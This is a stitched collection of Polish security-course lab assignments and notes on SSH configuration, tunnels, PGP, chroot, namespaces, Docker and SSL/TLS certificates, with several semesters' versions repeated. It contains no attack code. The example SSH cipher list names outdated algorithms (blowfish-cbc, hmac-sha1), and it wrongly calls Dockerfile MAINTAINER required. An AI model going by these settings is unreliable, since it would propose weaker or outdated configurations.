Użycie OpenPGP w poczcie elektronicznej (do czego został stworzony) jest wygodniejsze gdy użyjemy klientów poczty wyposażonych we wsparcie dla tego standardu. Przykładem może być Thunderbird z dodatkiem Enigmail. Pozwala on nie tylko na podpisywanie, weryfikację, szyfrowanie i odszyfrowanie wiadomości, ale także na zarządzanie kluczami PGP/GPG zainstalowanymi na naszym komputerze.
Standardem podobnym w idei i zastosowaniach do PGP jest S/MIME. Szyfrowanie i podpisywanie odbywa się na tej samej zasadzie. Różnica dotyczy zarządzania certyfikatami (wizytówki z kluczami publicznymi, często same podpisane innym kluczem): w S/MIME muszą być uwierzytelnione przez instytucję uwierzytelniającą i tworzą drzewo zaufania w modelu PKI (public key infrastructure), natomiast w PGP można używać certyfikatów wygenerowanych lokalnie, których wartość może być oceniana poprzez tzw. sieć zaufania (Web of Trust).
Schemat PKI zostanie zaprezentowany na przyszłych zajęciach na przykładzie protokołu SSL/TLS.
Zainstaluj serwer SSH, np:
su -c "apt-get install -y openssh-server"
Załóż nowego użytkownika (zwanego tutaj U) z katalogiem domowym.
1. Skonfiguruj serwer SSH:
a) ogranicz wersję protokołu do 2,
b) ogranicz dostępne algorytmy szyfrowania i skrótu wedle własnego uznania,
c) zabroń logowania użytkownikom innym niż U lub guest,
d) zezwól U na logowanie jedynie przy pomocy klucza, a guest także za pomocą hasła,
2.Klucze i konfiguracja klienta.
a) Jako U stwórz parę kluczy, klucz prywatny chroniony hasłem.
b) Zainstaluj klucz publiczny na lokalnym komputerze, aby przetestować ustawienie z 1.d).
c) Zainstaluj klucz publiczny na students.
d) Skonfiguruj klienta ssh tak, aby Twój login na students był używany jako domyślna nazwa użytkownika, gdy U łączy się ze students, oraz aby używany był odpowiedni klucz.
3. Tunel
a) Połącz się ze students tak, aby można było uruchamiać zdalnie programy okienkowe (np. kcalc),
b) Utwórz tunel SSH między lokalną maszyną a students tak, aby po wpisaniu w przeglądarkę na lokalnym komputerze http://localhost:7000 wyświetlała się strona www.w3.org,
c) jak jednorazowo dokonać powyższych czynności, a jak skonfigurować je jako domyślne dla połączenia ze students?
4. Kopiowanie
Używając programu rsync lub sftp skopiuj ze students katalog ze scenariuszami labów z BSK (/home/students/inf/PUBLIC/BSK). Dodatkowe wymagania, które prowadzący może postawić podczas prezentacji:
* włączenie / wyłączenie kompresji
* kopiowanie lub nie atrybutów plików
* pominięcie plików określonego typu
(doinstalowanie rsync: su -c "apt-get install -y rsync")
5. PGP
a) Utwórz własny klucz PGP (jeśli już posiadasz dla swojego konta studenckiego nie musisz tworzyć nowego).
b) Wyślij do prowadzącego podpisany PGP email zawierający rozwiązanie: skrypt z poleceniami oraz pliki konfiguracyjne, które zostały utworzone lub zmienione.
Zarząd Green Forest banku ze względu na panującą pandemie, postanowił ograniczyć zatrudnienie do 5 pracowników (w tym dwóch dyrektorów) Ponadto zarząd postanowił przejść całkowicie na pracę zdalną, aby to było możliwe bez narażania bezpieczeństwa banku trzeba wprowadzić stosowne zabezpieczenia. Zostałeś poproszony o ich przygotowanie. Oto ich zestaw:
Jako rozwiązanie należy umieścić w Moodle wszystkie powstałe skrypty i pliki konfiguracyjne oraz wygenerowane podpisy i klucze. Ponadto należy załączyć plik readme z adresami IP serwera z danymi Green Forest oraz IP komputera dyrektora. Jako wyżej wymieniony adres dyrektora można przyjąć albo adresy IP komputerów z laboratorium lub też adresy wygenerowanych przez siebie maszyn wirtualnych. Należy opisać, które z tych sytuacji mają miejsce.
Zalecana jest praca w parach (partner będzie zwany "sąsiadem"), przy czym od każdej osoby wymagane jest wykonanie wszystkich poleceń z listy.
0. Przygotowanie.
a) Zainstaluj serwer SSH i program rsync lub scp.
Na przykład (jako root):
apt-get update
apt-get install openssh-server rsync
b) załóż konta, hasła i katalogi domowe użytkownikom U1 i U2 (nazwy umowne, można wybrać własne).
useradd -m -s /bin/bash U1
passwd U1
useradd -m -s /bin/bash U2
passwd U2
1. Konfiguracja serwera SSH
a) Ogranicz dostępne algorytmy szyfrowania oraz skrótu; przykładowa lista: blowfish-cbc, aes192-cbc i aes256-cbc oraz hmac-sha1 i hmac-ripemd160.
c) Zezwól na logowanie jedynie użytkownikom U1 i U2.
d) Używając m.in. bloków Match:
- zezwól U1 łączyć się za pomocą hasła jedynie z komputera sąsiada, a z dowolnych komputerów za pomocą klucza publicznego,
- wysyłaj użytkownikowi U1 spersonalizowane powitanie,
- zezwól U2 łączyć się jedynie z sieci lokalnej labu BSK i tylko pomocą klucza publicznego,
- zezwól na korzystanie z tunelowania X11 tylko użytkownikowi U2.
2. Konfiguracja klienta SSH
a) Jako U2 stwórz parę kluczy, klucz prywatny chroniony hasłem.
b) Zainstaluj klucz publiczny na komputerze sąsiada (tymczasowa zmiana konfiguracji serwera jest dopuszczalna).
c) Skonfiguruj klienta ssh dla użytkownika U2 tak, aby łączył się z komputerem sąsiada używając klucza i automatycznie otwierał tunelowanie X11 (przetestuj na prostej aplikacji okienkowej, np. gedit).
d) Skonfiguruj klienta ssh dla użytkownika U1 tak, aby przy połączeniu z komputerem sąsiada otwierał się tunel TCP - taki że po wpisaniu w przeglądarkę na lokalnym komputerze http://localhost:7000 wyświetla się strona www.w3.org,
3. PGP (jedna osoba wykonuje jako U1, druga jako U2, wedle uznania możesz podawać swoje własne lub wymyślone nazwisko i adres e-mail):
a) Utwórz parę kluczy PGP.
b) Skopiuj swój klucz publiczny do sąsiada (oczywiście używając jednego z bezpiecznych poleceń opartych o SSH); zaimportuj klucz otrzymany od sąsiada.
c) Plik z konfiguracją serwera SSH, z dodanym w komentarzu swoim imieniem i nazwiskiem, zaszyfruj kluczem publicznym sąsiada i podpisz swoim kluczem prywatnym.
d) Wymień się zaszyfrowanymi i podpisanymi plikami, a następnie odszyfruj i zweryfikuj podpis otrzymanego pliku.
Zalecana jest praca w parach (partner będzie zwany "sąsiadem"), przy czym od każdej osoby wymagane jest wykonanie wszystkich poleceń z listy.
Jeśli ktoś musi pracować samodzielnie, to potrzebuje dwóch komputerów, na jednym konfiguruje stronę serwera, na drugim stronę klienta.
We wszystkich przypadkach przyjmujemy, że użytkownicy używają tej samej nazwy po stronie klienta i na serwerze (nie logują się na cudze konta).
0. Przygotowanie.
a) Zainstaluj serwer SSH i program rsync lub scp. Na przykład (jako root):
apt-get update
apt-get install openssh-server rsync
b) załóż konta, hasła i katalogi domowe użytkownikom u1 i u2.
useradd -m -s /bin/bash u1
passwd u1
useradd -m -s /bin/bash u2
passwd u2
useradd -m -s /bin/bash u3
passwd u3
c) Stwórz grupę ssh_users i dodaj do niej użytkowników u1 i u2 oraz guest.
groupadd ssh_users
usermod -a -G ssh_users u1
usermod -a -G ssh_users u2
usermod -a -G ssh_users guest
1. Konfiguracja serwera SSH
a) Ogranicz dostępne algorytmy szyfrowania oraz skrótu; przykładowa lista: blowfish-cbc, aes192-cbc i aes256-cbc oraz hmac-sha1 i hmac-ripemd160.
b) Zezwól na logowanie tylko użytkownikom należącym do grupy ssh_users.
c) Używając m.in. bloków Match:
- wysyłaj użytkownikowi u1 spersonalizowane powitanie (baner),
- zezwól u1 łączyć się za pomocą hasła jedynie z komputera sąsiada, a z dowolnych komputerów za pomocą klucza publicznego,
- pozostałym członkom grupy ssh_users zezwól logować się tylko pomocą klucza publicznego,
- zezwól (tylko) guest łączącemu się z labu BSK na korzystanie z tunelowania X11.
2. Konfiguracja klienta SSH
a) Skonfiguruj klienta ssh dla użytkownika guest tak, aby automatycznie otwierał tunelowanie X11 (przetestuj na prostej aplikacji okienkowej, np. gedit).
b) Jako u2 stwórz parę kluczy SSH, klucz prywatny chroniony hasłem.
c) Zainstaluj klucz publiczny na komputerze sąsiada (tymczasowa zmiana konfiguracji serwera jest dopuszczalna).
d) Skonfiguruj klienta ssh dla użytkownika u2 tak, aby przy połączeniu z komputerem sąsiada otwierał się tunel TCP - taki że po wpisaniu w przeglądarkę na *zdalnym* komputerze http://localhost:7000
wyświetla się strona www.mimuw.edu.pl
3. PGP (jedna osoba wykonuje jako u1, druga jako u2, wedle uznania można podawać swoje własne lub wymyślone nazwisko i adres e-mail):
a) Utwórz parę kluczy PGP.
b) Skopiuj swój klucz publiczny do sąsiada (oczywiście używając jednego z bezpiecznych poleceń opartych o SSH); zaimportuj klucz otrzymany od sąsiada.
c) Plik z konfiguracją serwera SSH, z dodanym w komentarzu swoim imieniem i nazwiskiem, zaszyfruj kluczem publicznym sąsiada i podpisz swoim kluczem prywatnym. (Podpowiedź: to można zrobić jednym poleceniem gpg)
d) Wymień się zaszyfrowanymi i podpisanymi plikami, a następnie odszyfruj i zweryfikuj podpis otrzymanego pliku.
Zalecana jest praca w parach. Jeśli ktoś musi pracować samodzielnie, to potrzebuje dwóch komputerów.
Na jednym komputerze, który oznaczymy A, będziemy konfigurować stronę serwera SSH, a na drugim oznaczonym B stronę klienta. Obie konfiguracje muszą ze sobą współgrać i warto je przygotowywać równolegle, wspólnymi siłami.
Zasadniczo przyjmujemy, że użytkownicy używają tej samej nazwy po stronie klienta i na serwerze.
0. Przygotowanie.
a) Zainstaluj serwer SSH (można pominąć po stronie klienta) i program rsync lub scp. Na przykład (jako root):
apt-get update
apt-get install openssh-server rsync
b) załóż konta, hasła i katalogi domowe użytkownikom u1, u2, u3.
useradd -m -s /bin/bash u1
passwd u1
useradd -m -s /bin/bash u2
passwd u2
useradd -m -s /bin/bash u3
passwd u3
c) Na serwerze (A) stwórz grupę ssh_users i dodaj do niej użytkowników u1 i u2 oraz guest.
groupadd ssh_users
usermod -a -G ssh_users u1
usermod -a -G ssh_users u2
usermod -a -G ssh_users guest
Serwer ssh można zrestartować np. tak:
service ssh restart
ZADANIA:
1. Konfiguracja serwera SSH (na A)
a) Zezwól na logowanie tylko użytkownikom należącym do grupy ssh_users.
Używając m.in. bloków Match:
b) pozwól użytkownikowi guest logować się za pomocą hasła i wysyłaj mu spersonalizowane powitanie ("baner"),
c) zezwól u1 łączyć się za pomocą hasła jedynie z komputera B, a z dowolnych komputerów za pomocą klucza publicznego,
d) pozostałym zezwól na logowanie tylko za pomocą klucza publicznego.
2. Konfiguracja klienta SSH (na B)
a) Skonfiguruj (w pliku) klienta ssh dla użytkownika guest tak, aby po wpisaniu polecenia
ssh alicja
klient łączył się z serwerem A, wchodził na konto guest (uwierzytelnienie może odbywać się za pomocą hasła) i automatycznie otwierał tunelowanie X11 (przetestuj na prostej aplikacji okienkowej, np. gedit) oraz włączał kompresję.
(zamiast "alicja" możesz użyć innego imienia lub słowa)
b) Jako u2 stwórz parę kluczy SSH. Zainstaluj klucz publiczny na komputerze A. Sprawdź działanie po zakończeniu konfiguracji serwera.
3. Tunel.
a) Na komputerze B wyedytuj zawartość pliku /var/www/index.html tak, aby było wiadomo, z którego komputera pochodzi wyświetlana strona. Sprawdź poprzez http://localhost.
b) Łącząc się ssh z B do A jako u2 otwórz odpowiedni tunel SSH, który sprawi, że po wpisaniu w przeglądarkę na komputerze A http://localhost:7000 wyświetli się strona serwowana przez B.
c) Spraw, aby ta strona wyświetliła się również, gdy z innego komputera (np. B, ale teoretycznie także z każdego innego w labie) wejdzie się pod adres http://solabXX:7000, gdzie XX to numer komputera A.
4. Podstawy PGP/gpg. Wszystkie polecenia wykonują obie osoby, wedle uznania można podawać swoje własne lub wymyślone nazwisko i adres e-mail:
a) Utwórz klucz (a właściwie parę publiczny/prywatny).
b) Skopiuj swój klucz publiczny do sąsiada (oczywiście używając jednego z bezpiecznych poleceń opartych o SSH); zaimportuj klucz otrzymany od sąsiada.
c) Plik z konfiguracją SSH (klienta lub serwera), z dodanym w komentarzu swoim imieniem i nazwiskiem, zaszyfruj (kluczem publicznym sąsiada) i podpisz (swoim kluczem prywatnym). Podpowiedź: to można zrobić jednym poleceniem gpg.
d) Wymień się zaszyfrowanymi i podpisanymi plikami, a następnie odszyfruj i zweryfikuj podpis otrzymanego pliku.
Zalecana jest (współ)praca w parach, najlepiej na sąsiednich komputerach.
Indywidualiści będą potrzebować dwóch komputerów.
Zainstaluj serwer SSH (każdy na swoim komputerze) i program rsync, na
przykład:
sudo apt-get update
sudo apt-get install openssh-server rsync
Załóż konta, hasła i katalogi domowe użytkownikom U1 i U2, np.
useradd -m -s /bin/bash U1
passwd U1
...
Serwer ssh można zrestartować np. tak:
service ssh restart
ZADANIA:
1. Skonfiguruj serwer SSH:
a) Ogranicz wersję protokołu do 2.
b) Ogranicz dostępne algorytmy szyfrowania i skrótu wedle własnego uznania.
c) Zezwól U1 na logowanie jedynie przy pomocy klucza, a U2 przy pomocy hasła.
2. Klucze i konfiguracja klienta.
a) Jako U1 stwórz parę kluczy, klucz prywatny chroniony hasłem. Umieść klucz
publiczny na drugim komputerze.
b) Zainstaluj klucz publiczny również na students.
c) Skonfiguruj klienta ssh tak, aby Twój login na students był używany jako
domyślna nazwa użytkownika, gdy U1 łączy się ze students, oraz aby używany
był odpowiedni klucz.
3. Kopiowanie
a) Używając programu rsync skopiuj (jako U1) ze students katalog
/home/staff/iinf/zbyszek/Obrazy.
b) Dodatkowo prowadzący może poprosić Cię o włączenie/wyłączenie kompresji.
4. PGP
a) Utwórz własną parę kluczy PGP.
b) Wyślij prowadzącemu klucz publiczny do zaimportowania.
c) Plik z konfiguracją SSH (klienta lub serwera), z dodanym w komentarzu
swoim imieniem, nazwiskiem i loginem,
podpisz (kluczem prywatnym) i wyślij do prowadzącego emalią.
Wszystkie wydawane polecenia należy zapisać w skryptach wykonywalnych, będą one częścią rozwiązania. Sprawdzający będzie jednak wymagał osobistej prezentacji rozwiązania.
Jeśli trzeba zainstaluj serwer SSH, rsync i sshfs, na przykład:
sudo apt-get update sudo apt-get install openssh-server rsync sshfs
Załóż konto, hasło i katalog domowy użytkownikowi U.
Serwer ssh można zrestartować np. tak:
service ssh restart
Uwaga: U oznacza nazwę generyczną, ponieważ do rozwiązania każdemu potrzebne
będą dwie maszyny, z których jedna będzie używana jako serwer SSH (nazwiemy ją S), a druga jako klient SSH (nazwiemy ją K). Serwer na danym komputerze może konfigurować jedna osoba, natomiast z jednej maszyny jako klienta może korzystać wiele osób, o ile użyją różnych kont. Proponuję komputer lokalny potraktować jako S, a jakiś inny w labie traktować jako K oraz wymyślić unikalną nazwę użytkownika.
a) Stwórz guestowi parę kluczy SSH, klucz prywatny chroniony hasłem. Umieść klucz publiczny na komputerze students.
b) Użytkownikowi U na maszynie K utwórz parę kluczy SSH i wykonaj czynności umożliwiające U logowanie się z kluczem z K na S.
c) Skonfiguruj klienta ssh tak, aby Twój login na students był używany jako domyślna nazwa użytkownika, gdy guest łączy się ze students, oraz aby używany był odpowiedni klucz.
a) Ogranicz wersję protokołu do 2.
b) Zabroń zdalnego logowania przez roota.
c) Zezwól U na zdalne logowanie jedynie przy pomocy klucza, a guest także przy pomocy hasła.
a) Ustaw w ten sposób montowanie, żebyś mógł obejrzeć w przeglądarce odpalonej na komputerze w labie BSK dowolny plik z katalogu /home/students/inf/PUBLIC/BSK/Obrazy z maszyny students (oczywiście tylko taki, do którego masz uprawnienia).
b) Używając programu rsync skopiuj (jako guest) ze students katalog
/home/students/inf/PUBLIC/BSK.
c) Dodatkowo prowadzący może poprosić Cię o włączenie/wyłączenie kompresji oraz o pominięcie plików określonego typu.
a) Utwórz własną parę kluczy PGP.
b) Wyślij prowadzącemu klucz publiczny do zaimportowania.
c) Pliki skryptów z poleceniami, z dodanym w komentarzu swoim imieniem, nazwiskiem i loginem, podpisz (kluczem prywatnym) i wyślij do prowadzącego emalią.
Wszystkie wydawane polecenia należy zapisać w skryptach wykonywalnych,
będą one częścią rozwiązania. Sprawdzający będzie jednak wymagał osobistej
prezentacji rozwiązania. zadanie bedziecie państwo wykonywać częściowo w parach
Jeśli trzeba zainstaluj serwer SSH, rsync i sshfs, na przykład:
sudo apt-get update
sudo apt-get install openssh-server rsync sshfs
Załóż kontoa, hasło i katalogi domowe użytkownikom u1 , u2 i u3 o
Serwer ssh można zrestartować np. tak:
service ssh restart.
wygeneruj klucze dla u1 i u2 i u3 oraz roota skopiuj na students.
)
Skonfiguruj klienta ssh tak, aby Twój login na students był używany jako
domyślna nazwa użytkownika, gdy u1 łączy się ze students, oraz aby
używany był odpowiedni klucz
2. Skonfiguruj serwer SSH:
a).pozwól u1 na logowanie się tylko przy pomocy klucza
b). zakaż logowania u2.
c).pozwól rootowi na logowanie tylko przy pomocy klucza z komputera partnera z pary
d) zakaż logowania wszystkim użytkownikom z maszyny której ip poda ci oprowadzaczy
e) ogranicz wersje protokołu do 2
3. Kopiowanie i montowanie
a) Ustaw w ten sposób montowanie, żebyś mógł obejrzeć w przeglądarce
odpalonej na komputerze w labie BSK dowolny plik z katalogu
/home/students/inf/PUBLIC/BSK/Obrazy z maszyny students (oczywiście tylko taki,
do którego masz uprawnienia).
b) Używając programu rsync skopiuj (jako guest) ze students katalog
/home/students/inf/PUBLIC/BSK.
c) Dodatkowo prowadzący może poprosić Cię o włączenie/wyłączenie kompresji
oraz o pominięcie plików określonego typu.
4. PGP
a) Utwórz własną parę kluczy PGP.
b) Wyślij prowadzącemu klucz publiczny do zaimportowania.
c) Pliki skryptów z poleceniami, z dodanym w komentarzu
swoim imieniem, nazwiskiem i loginem,
oprócz skryptów będzie wymagana osobista prezentacja zadania
Zarząd księgarni Radagast postanowił iść z duchem czasu i umożliwić swoim pracownikom pracę zdalną. Zostałeś poproszony o przygotowanie odpowiedniej konfiguracji środowiska, która umożliwi bezpieczne wprowadzenie tej zmiany.
Jako rozwiązanie należy umieścić w Moodle wszystkie powstałe skrypty i pliki konfiguracyjne oraz wygenerowane podpisy i klucze. Ponadto należy załączyć plik readme z adresami ip serwera Radagastu, ip komputera managera. Jako wyżej wymienione adresy managera przyjąć albo adresy ip komputerów z laboratorium, lub też adresy wygenerowanych przez siebie maszyn wirtualnych.
Jako loginy należy przyjąć nazwiska z pliku do zadania o ACL (manager to inne określenie szefa sali).
Zarząd Green Forest banku ze względu na panującą pandemie, postanowił ograniczyć zatrudnienie do 5 pracowników (w tym dwóch dyrektorów) Ponadto zarząd postanowił przejść całkowicie na pracę zdalną, aby to było możliwe bez narażania bezpieczeństwa banku trzeba wprowadzić stosowne zabezpieczenia. Zostałeś poproszony o ich przygotowanie. Oto ich zestaw:
Jako rozwiązanie należy umieścić w Moodle wszystkie powstałe skrypty i pliki konfiguracyjne oraz wygenerowane podpisy i klucze. Ponadto należy załączyć plik readme z adresami IP serwera z danymi Green Forest oraz IP komputera dyrektora. Jako wyżej wymieniony adres dyrektora można przyjąć albo adresy IP komputerów z laboratorium lub też adresy wygenerowanych przez siebie maszyn wirtualnych. Należy opisać, które z tych sytuacji mają miejsce.
Jeśli aplikacja (np. serwer http) jest uruchamiana pod systemem operacyjnym, w szczególności np. z uprawnieniami roota, w przypadku umiejętnego wykorzystania błędu atakujący może uzyskać bardzo szerokie uprawnienia, m.in. nieograniczony dostęp do systemu plików.
Aby uniknąć takich zagrożeń:
W systemie Linux można uruchomić dowolny proces (i jego procesy potomne) ze zmienionym katalogiem głównym za pomocą polecenia chroot (oraz wywołanie systemowego chroot()). Uruchomiony w ten sposób proces nie może powrócić do rzeczywistego katalogu głównego w systemie plików. Można więc przygotować inny niż główny katalog zawierający pliki niezbędne dla aplikacji np. bibliotki, czy pliki konfiguracyjne. Zwykle trzeba odwzorować część struktury katalogów i plików konfiguracyjnych, np. /etc, /usr/lib/, /var, /proc. Mechanizm chroot może być też przydatny dla celów testowania oprogramowania lub np. zrealizowania środowiska programistycznego ze specyficznym zestawem bibliotek i narzędzi. Do zalet należy także zaliczyć prostotę użycia i brak konieczności modyfikacji jądra systemu operacyjnego.
Jeśli docelowy katalog został przygotowany, można uruchomić proces, np.:
chroot /przygotowany_katalog /usr/sbin/apache2 -k start
Sam w sobie chroot nie posiada mechanizmów limitowania zasobów używanych przez proces, użycie go nie zabezpiecza więc przed atakami DoS.
Uruchomienie polecenia chroot wymaga uprawnień roota.
Chroot nie zmienia UID i GID procesu. Jeśli aplikacja sama nie zmieni UID, będzie wykonywana z prawami roota.
Istnieją sposoby, które pozwalają procesowi uruchomionemu z prawami roota, wyjście poza określony poleceniem chroot katalog -
opisano je w lekturze uzupełniajacej http://linux-vserver.org/Secure_chroot_Barrier.
Można przy okazji zacytować fragment listu Alana Coxa: "(...) chroot is not and never has been a security tool." :)
Jeżeli chcemy mimo wszystko przygotować katalog chroot, możemy ułatwić sobie życie na dwa sposoby. Po pierwsze można przygotować minimalną instalację jakiejś dystrybucji aby uniknąć zgadywania które pliki są potrzebne do pracy naszego programu; dotyczy to zwłaszcza bibliotek korzystających z wielu plików pomocniczych. Trzeba jednak pamiętać, aby nie umieszczać w systemie zbędnych programów z bitem SUID które mogłyby być wykorzystane do "ucieczki" z chroota. Warto też pamiętać o poleceniu
mount --bind /proc /przygotowany_katalog/proc mount --rbind /dev /przygotowany_katalog/dev
pierwsza wersja powoduje, że pliki z systemu plików (lub jakiegoś katalogu z systemu plików) widocznego jako /proc będą też widoczne w katalogu /przygotowany_katalog/proc
. Nie dotyczy to jednak katalogów podmonotwanych wewnątrz proc, np. /proc/sys/fs/binfmt_misc
. Natomiast druga wersja obejmuje także katalogi podmontowane wewnątrz bindowanego katalogu.
Naturalnym roszerzeniem chroota jest objęcie ograniczeniami także innych zasobów niż system plików. W idealnym świecie uruchomiony w takim ulepszonym chroocie - czyli kontenerze - program powinien zachowywać się tak, jakby był uruchomiony na maszynie wirtualnej na tym samym komputerze i z oddzielną kopią tego samego jądra. Jednak ponieważ naprawdę nie uruchamiamy nowego jądra, to nie występuje narzut spowodowany koniecznością obsługi wywołań systemowych przez dwa jądra, wirtualizacją urządzeń sprzętowych itp. Możemy także, jeżeli tego potrzebujemy, osłabić izolację w jakimś miejscu, aby programy bardziej efektywnie współpracowały. Ograniczeniem jest konieczność używania takiego samego jądra we wszystkich używanych kontenerach i systemie bazowym.
W Linuksie implementacja kontenerów opiera się na uogólnieniu pojącia chroot do pojęcia namespace. Są one następujące i pozwalają izolować:
Namespace Constant Isolates Cgroup CLONE_NEWCGROUP Cgroup root directory IPC CLONE_NEWIPC System V IPC, POSIX message queues Network CLONE_NEWNET Network devices, stacks, ports, etc. Mount CLONE_NEWNS Mount points PID CLONE_NEWPID Process IDs User CLONE_NEWUSER User and group IDs UTS CLONE_NEWUTS Hostname and NIS domain name
Tabelka pochodzi z man namespace(7). Tę stronę podręcznika systemowego należy przeczytać, a strony zależne przejrzeć. Należy także zapoznać się z możliwościami nakładania ograniczeń na procesy za pomocą grup cgroups(7).
Na podstawie tej infrastuktury zbudowanych jest kilka środowisk dających wygodne narzędzia do wirtualizacji, są to. np. Linux Containers (LXC), OpenVZ, Docker.
Docker składa się z procesu serwera, który odpowiada za faktyczne tworzenie kontenerów, ich modyfikacje, itp. oraz klienta, którego funkcją jest zapewnianie możliwości korzystania z serwera. Aby skonfigurować nowy kontener, tworzymy w pustym katalogu plik o nazwie Dockerfile z przykładową zawartością:
FROM debian:buster # O ile chcemy, aby proces działał w środowisku Debian 10 MAINTAINER Kto To Wie RUN apt-get update && apt-get install -y apache2 EXPOSE 80 CMD apachectl -D FOREGROUND
pierwsza linia oznacza obraz, z którego korzystamy jako bazowego. Docker ma centralny rejestr obrazów, z których można korzystać przy tworzeniu kontenerów, są w nim w szczególności podstawowe instalacje różnych dystrybucji. Aby uniezależnić się od twórców Dockera, można też uruchomić własny taki serwer.
Linia z wpisem MAINTAINER jest wymagana, ale ma charakter informacyjny. Następnie mamy (być może kilka) linii z poleceniami RUN, opisujące polecenia potrzebne do przygotowania kontenera. Aby nie wykonywać zbyt często tych samych poleceń Docker zapamiętuje stan kontenera po każdej linijce z pliku Dockerfile w sposób analogiczny do snapshotów zwykłych maszyn wirtualnych.
Polecenie EXPOSE 80 udostępnia światu port 80. Polecenie CMD określa komendę, która będzie służyła do faktycznego uruchomienia kontenera - w tym przypadku jest to serwer apache. Gdy podany proces zakończy działanie docker zatrzyma wszystkie procesy w kontenerze
Aby uruchomić nasz kontener wchodzimy do odpowiedniego katalogu i używamy polecenia:
docker build . docker container run <id_obrazu> lub krócej docker run <id_obrazu>
Polecenie docker build . zbuduje obraz na podstawie pliku dockerfile (w tym przypadku na Debianie 10, ale np. z dołączonymi naszymi plikami), polecenie docker run id_obrazu uruchomi proces apache2 w nowym kontenerze w środowisku naszego obrazu.
Polecenie
docker images lub docker image ls
pozwala sprawdzić id obrazu.
Jeśli chcemy szybko uruchomić proces w nowym kontenerze (w środowisku Debian 10) bez pisania dockerfile'a, możemy napisać
docker run -t -i debian:buster /bin/bash
Polecenie docker run wykona wtedy kilka kroków:
Kilka przykładów operacji na kontenerach:
Można też oczywiście usuwać obrazy (docker image rm id_obrazu lub docker image prune -- usuwa wszystkie nieużywane). Tak jak było widać już wcześniej, np. polecenie docker stop wykona to samo, co docker container stop, ale nie zadziała docker prune, trzeba użyć docker image prune lub docker container prune. Pierwsze usuwa obrazy, drugie kontenery. Warto sprawdzić jakie polecenia są dostępne na danym poziomie: docker --help, docker container --help, docker image --help, docker container ls --help itd. Należy pamiętać, że obraz (image) i kontener (container) to nie to samo. Obraz daje możliwość utworzenia środowiska dla procesu w kontenerze, środowiska opartego na konkretnym systemie operacyjnym (Debianie 9, Debianie 10, Ubuntu itp). Można powiedzieć, iż kontenery korzystają z obrazów, z jednego obrazu może korzystać wiele kontenerów. Więcej informacji na temat przechowywania danych, warstw z których składa się dockerowy storage można znaleźć na https://docs.docker.com/storage/storagedriver/.docker container ls -a (listowanie wszystkich) docker container run <id_obrazu> (uruchamia proces w nowym kontenerze, w środowisku obrazu o danym id) docker container stop <id_kontenera> (zatrzymywanie kontenera) docker container start <id_kontenera> (uruchamianie zatrzymanego kontenera) docker container rm <id_kontenera> (usuwanie) docker container prune (usuwanie wszystkich zatrzymanych)
Docker oraz plik Dockerfile mają jeszcze wiele możliwości, których nie poznaliśmy. Co ciekawe, od wersji Docker Engine 19.03, istnieje możliwość pracy w trybie nie roota, w tej wersji cecha ta jest uważana za eksperymentalną. Do używania w tym trybie zalecana jest najnowsza wersja 20.10. Pełna dokumentacja Dockera jest dostepna pod adresem https://docker.com.
SSL to standard ochrony warstwy aplikacji wykonany wraz z implementacją przez Netscape Communications Corporation. Powstały wersje SSL v1, v2, v3. Od 1996 roku standard jest rozwijany przez grupe roboczą IETF na bazie SSL v3 jako TLS (Transport Layer Security), powstały wersje standardu TLS 1.0 - RFC 2246, TLS 1.1 - RFC 4346, TLS 1.2 - RFC 5246, TLS 1.3 - RFC 8446.
SSL v1, v2, v3, TLS 1.0, 1.1 są uznawane za niebezpieczne. W tych wersjach istnieją udokumentowane podatności na ataki różnych typów.
Najbardziej popularna to OpenSSL (https://www.openssl.org/). Zawiera implementację standardów SSL v2, v3, TLS 1.0-1.3. OpenSSL to biblioteka wraz z zestawem narzędzi (przede wszystkim program openssl). Alternatywna implementacja: GnuTLS - TLS 1.1-1.3 i SSL v3 (https://www.gnu.org/software/gnutls/).
SSL/TLS zapewnia zestawienie szyfrowanego i uwierzytelnionego kanału dla warstwy aplikacji. W modelu ISO/OSI SSL/TLS znajduje się w
warstwie prezentacji, zatem ponad warstwą transportu (TCP/UDP), ale poniżej warstwy aplikacji.
Koncepcja SSL/TLS wykorzystuje idee kryptografi symetrycznej i niesymetrycznej. Kryptografia niesymetryczna służy do uwierzytelnienia i ustalenia w bezpieczny sposób klucza sesji. Następnie wykorzystywana jest kryptografia symetryczna (i ustalony klucz sesji), co zwiększa wydajność.
To, że uda się zestawić kanał szyfrowany nie oznacza jeszcze, że wiadomo z jakim serwerem http mamy połączenie... Co się stanie, jeśli ktoś podszyje się pod serwer http (co jest popularnym sposobem wyłudzania haseł i innych poufnych informacji)? Przeglądarka, łącząc się z serwerem http, dostaje od niego certyfikat, w którym znajduje się klucz publiczny serwera. Oprócz klucza publicznego
certyfikat zawiera także inne dane:
Dzieki tym danym, certyfikat poświadcza związek osoby z kluczami, którymi się posługuje. Ponieważ certyfikat jest podpisany, przeglądarka może sprawdzić autentyczność podpisu. Dokonuje tego za pomocą certyfikatów zawierających klucze publiczne Centrów Certyfikacji (Certification Authorities, CAs), jednostek wystawiających certyfikaty. CAs spełniają rolę zaufanej trzeciej strony (trusted third party) i odpowiedzialne są za poświadczanie tożsamości klientów. Zanim CA podpisze certyfikat podmiotu, sprawdza jego tożsamość (np. przez sprawdzenie dowodu osobistego, czy uprawnień do posługiwania się nazwą instytucji).
Przeglądarka weryfikuje certyfikat za pomocą zbioru certyfikatów zaufanych CA. Jeśli weryfikacja podpisu nie powiedzie się, generowane jest ostrzeżenie. Ostrzeżenia są tworzone także, jeśli nie zgadzają się inne elementy certyfikatu, np: data ważności, czy nazwa domeny (gdy serwer wyśle certyfikat zawierający inna nazwę domenową, niż ta która znajduje się w URL).
Przed wystawieniem certyfikatu dochodzi jedynie do weryfikacji dostępu do domeny, zwykle w sposób automatyczny. Nie są sprawdzane dane organizacji, która ubiega się o certyfikat.
CA dokonuje weryfikacji danych właściciela witryny i samego podmiotu, który ubiega się o certyfikat (tożsamości firmy). W efekcie, w certyfikacie można znaleźć nazwę i dane firmy, oraz także potwierdzenie, że dany podmiot jest właścicielem strony. Ze względu na bardziej dokładną weryfikację, cena certyfikatu OV jest zwykle wyższa niż DV.
Ten proces polega na najdokładniejszej weryfikacji i trwa najdłużej. Walidacja danych firmy odbywa się m.in. na podstawie rządowych baz. Sprawdzane jest też prawo do posługiwania się domeną.
